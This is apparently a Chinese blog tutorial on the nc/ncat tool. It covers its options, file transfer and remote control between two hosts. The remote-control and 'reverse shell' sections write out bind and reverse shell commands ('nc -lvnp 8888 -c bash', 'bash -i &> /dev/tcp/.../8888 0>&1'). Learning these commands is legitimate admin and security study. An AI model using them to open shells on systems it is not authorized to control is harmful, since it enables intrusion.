nc工具基本使用

简介: nc工具基本使用

nc命令选项:

centos中的nc命令是ncat的软连接,与kali中的nc命令略有差别,下面是ncat的常用选项:

~]# nc -h
Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

# 仅使用unix套接字连接、扫描,通常是连接、扫描本机服务时使用
  -U, --unixsock             Use Unix domain sockets only
# 执行提供的命令
  -c, --sh-exec <command>    Executes the given command via /bin/sh
# 执行提供的命令
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
# 最大连接数
  -m, --max-conns <n>        Maximum <n> simultaneous connections
# 延迟时间
  -d, --delay <time>         Wait between read/writes
# 闲置时间,通常用于扫描结束后多久断开连接
  -i, --idle-timeout <time>  Idle read/write timeout
# 监听模式,设置监听端口
  -l, --listen               Bind and listen for incoming connections
# 不进行dns解析
  -n, --nodns                Do not resolve hostnames via DNS
# 使用udp协议
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)

文件传输

# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):
nc -lp 8888 > node.tar.gz

# 传输方发文件:
nc -nv 192.168.75.121 8888  < node_exporter-1.3.1.linux-amd64.tar.gz

注意:192.168.75.121是接收方的ip地址。
# 如果希望文件传输结束后自动退出,可以使用下面的命令:
nc -lp 8888 > node.tar.gz
nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz

注意:-i 表示闲置超时时间

远程控制

# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。
# 被控制端执行下面的命令:
nc -lvnp 8888 -c bash
# 控制端执行下面的命令:
nc 192.168.75.121 8888
# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。
# 控制端执行下面的命令:
nc -lvnp 8888
# 被控制端执行下面的命令:
nc 192.168.75.121 8888 -c bash

反弹shell

# 控制端执行下面的命令:
nc -lvnp 8888

# 被控端执行下面的命令:
bash -i &> /dev/tcp/192.168.75.121/8888 0>&1

对了,你们一直想要的Linux命令大全查询网站已经上线了,欢迎使用。

相关文章
|
12月前
|
IDE Shell 开发工具
python环境搭建之二 --- 运行python脚本的三种方式
python环境搭建之二 --- 运行python脚本的三种方式
121 0
|
5天前
|
Java Unix Linux
grep命令的使用方法及实用技巧详解
grep命令的使用方法及实用技巧详解
|
4天前
|
监控 Unix 数据处理
Grep命令的高级用法与实用技巧
Grep命令的高级用法与实用技巧
|
2月前
|
应用服务中间件 nginx Docker
简述 Docker 在 Python WEB 开发中的作用。
【2月更文挑战第27天】【2月更文挑战第95篇】简述 Docker 在 Python WEB 开发中的作用。
|
2月前
|
Go
Go命令行解析神器入门 - 10分钟上手flag包
Go命令行解析神器入门 - 10分钟上手flag包
80 0
|
XML Web App开发 开发框架
回声嘹亮 之 Go 的 Echo 框架 —— 上手初体验
Echo 是众多 Go Web 框架的一个,根据官网介绍,它有着高性能、可扩展性、极简的特点。
回声嘹亮 之 Go 的 Echo 框架 —— 上手初体验
|
搜索推荐 JavaScript 前端开发
python接口自动化(十八)--重定向(Location)(详解)
在实际工作中,有些接口请求完以后会重定向到别的url,而你却需要重定向前的url。URL主要是针对虚拟空间而言,因为不是自己独立管理的服务器,所以无法正常进行常规的操作。但是自己又不希望通过主域名的二级目录进行访问,而 是希望通过主域名的二级域名进行访问。所以这个时候就会用到URL重定向。
192 0
python接口自动化(十八)--重定向(Location)(详解)
|
图形学
Unity热更新——AB包的基本操作
Unity热更新——AB包的基本操作
425 1
|
网络协议 网络安全
Nmap 基本使用
Nmap 基本使用
148 0
|
C++ Python
ROS入门笔记(十一):编写与测试简单的Service和Client (Python)
ROS入门笔记(十一):编写与测试简单的Service和Client (Python)
469 0
ROS入门笔记(十一):编写与测试简单的Service和Client (Python)

热门文章

最新文章

  • 1
    流量控制系统,用正则表达式提取汉字
    25
  • 2
    Redis09-----List类型,有序,元素可以重复,插入和删除快,查询速度一般,一般保存一些有顺序的数据,如朋友圈点赞列表,评论列表等,LPUSH user 1 2 3可以一个一个推
    26
  • 3
    Redis08命令-Hash类型,也叫散列,其中value是一个无序字典,类似于java的HashMap结构,Hash结构可以将对象中的每个字段独立存储,可以针对每字段做CRUD
    26
  • 4
    Redis07命令-String类型字符串,不管是哪种格式,底层都是字节数组形式存储的,最大空间不超过512m,SET添加,MSET批量添加,INCRBY age 2可以,MSET,INCRSETEX
    27
  • 5
    S外部函数可以访问函数内部的变量的闭包-闭包最简单的用不了,闭包是内层函数+外层函数的变量,简称为函数套函数,外部函数可以访问函数内部的变量,存在函数套函数
    24
  • 6
    Redis06-Redis常用的命令,模糊的搜索查询往往会对服务器产生很大的压力,MSET k1 v1 k2 v2 k3 v3 添加,DEL是删除的意思,EXISTS age 可以用来查询是否有存在1
    30
  • 7
    Redis05数据结构介绍,数据结构介绍,官方网站中看到
    22
  • 8
    JS字符串数据类型转换,字符串如何转成变量,+号只要有一个是字符串,就会把另外一个转成字符串,- * / 都会把数据转成数字类型,数字型控制台是蓝色,字符型控制台是黑色,
    20
  • 9
    JS数组操作---删除,arr.pop()方法从数组中删除最后一个元素,并返回该元素的值,arr.shift() 删除第一个值,arr.splice()方法,删除指定元素,arr.splice,从第一
    20
  • 10
    定义好变量,${age}模版字符串,对象可以放null,检验数据类型console.log(typeof str)
    19